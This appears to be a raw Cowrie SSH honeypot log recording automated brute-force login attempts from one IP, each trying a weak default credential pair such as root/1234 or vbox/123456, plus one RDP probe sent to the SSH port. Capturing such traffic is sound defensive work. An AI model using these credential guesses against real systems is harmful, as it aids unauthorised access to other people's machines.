{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:15.271749Z","src_ip":"192.109.200.237","session":"f2cb802b5f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:15.522287Z","src_ip":"192.109.200.237","session":"f2cb802b5f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:16.608084Z","src_ip":"192.109.200.237","session":"f2cb802b5f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44708,"dst_ip":"159.203.135.109","dst_port":22,"session":"df4507b431eb","protocol":"ssh","message":"New connection: 192.109.200.237:44708 (159.203.135.109:22) [session: df4507b431eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:18.265558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:18.270413Z","src_ip":"192.109.200.237","session":"df4507b431eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:18.353030Z","src_ip":"192.109.200.237","session":"df4507b431eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:18.603827Z","src_ip":"192.109.200.237","session":"df4507b431eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:19.709583Z","src_ip":"192.109.200.237","session":"df4507b431eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41842,"dst_ip":"159.203.135.109","dst_port":22,"session":"657bf87b8af6","protocol":"ssh","message":"New connection: 192.109.200.237:41842 (159.203.135.109:22) [session: 657bf87b8af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:21.319696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:21.328478Z","src_ip":"192.109.200.237","session":"657bf87b8af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:21.410813Z","src_ip":"192.109.200.237","session":"657bf87b8af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:21.789832Z","src_ip":"192.109.200.237","session":"657bf87b8af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:22.874385Z","src_ip":"192.109.200.237","session":"657bf87b8af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41844,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3460777fc50","protocol":"ssh","message":"New connection: 192.109.200.237:41844 (159.203.135.109:22) [session: f3460777fc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:24.509603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:24.515259Z","src_ip":"192.109.200.237","session":"f3460777fc50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:24.597282Z","src_ip":"192.109.200.237","session":"f3460777fc50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:24.843912Z","src_ip":"192.109.200.237","session":"f3460777fc50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:25.928604Z","src_ip":"192.109.200.237","session":"f3460777fc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41854,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b8d77d9575","protocol":"ssh","message":"New connection: 192.109.200.237:41854 (159.203.135.109:22) [session: 02b8d77d9575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:27.595282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:27.599277Z","src_ip":"192.109.200.237","session":"02b8d77d9575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:27.681939Z","src_ip":"192.109.200.237","session":"02b8d77d9575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:27.935639Z","src_ip":"192.109.200.237","session":"02b8d77d9575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:29.021237Z","src_ip":"192.109.200.237","session":"02b8d77d9575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59786,"dst_ip":"159.203.135.109","dst_port":22,"session":"93504ade1241","protocol":"ssh","message":"New connection: 192.109.200.237:59786 (159.203.135.109:22) [session: 93504ade1241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:30.684776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:30.734319Z","src_ip":"192.109.200.237","session":"93504ade1241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:30.842844Z","src_ip":"192.109.200.237","session":"93504ade1241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:31.128814Z","src_ip":"192.109.200.237","session":"93504ade1241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:32.215566Z","src_ip":"192.109.200.237","session":"93504ade1241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59800,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1db54d707ac","protocol":"ssh","message":"New connection: 192.109.200.237:59800 (159.203.135.109:22) [session: e1db54d707ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:33.953449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:33.958121Z","src_ip":"192.109.200.237","session":"e1db54d707ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:34.040998Z","src_ip":"192.109.200.237","session":"e1db54d707ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:34.285913Z","src_ip":"192.109.200.237","session":"e1db54d707ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:35.370893Z","src_ip":"192.109.200.237","session":"e1db54d707ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59806,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9b24a2d4432","protocol":"ssh","message":"New connection: 192.109.200.237:59806 (159.203.135.109:22) [session: b9b24a2d4432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:37.012887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:37.017920Z","src_ip":"192.109.200.237","session":"b9b24a2d4432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:37.100470Z","src_ip":"192.109.200.237","session":"b9b24a2d4432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:37.475816Z","src_ip":"192.109.200.237","session":"b9b24a2d4432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58447,"dst_ip":"159.203.135.109","dst_port":22,"session":"978cfc292f34","protocol":"ssh","message":"New connection: 152.42.212.128:58447 (159.203.135.109:22) [session: 978cfc292f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:38.577562Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:38.582136Z","src_ip":"152.42.212.128","session":"978cfc292f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:38.585852Z","src_ip":"152.42.212.128","session":"978cfc292f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:38.614551Z","src_ip":"192.109.200.237","session":"b9b24a2d4432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40016,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1219ebf3f90","protocol":"ssh","message":"New connection: 192.109.200.237:40016 (159.203.135.109:22) [session: d1219ebf3f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:40.203728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:40.209122Z","src_ip":"192.109.200.237","session":"d1219ebf3f90","protocol":"ssh"}
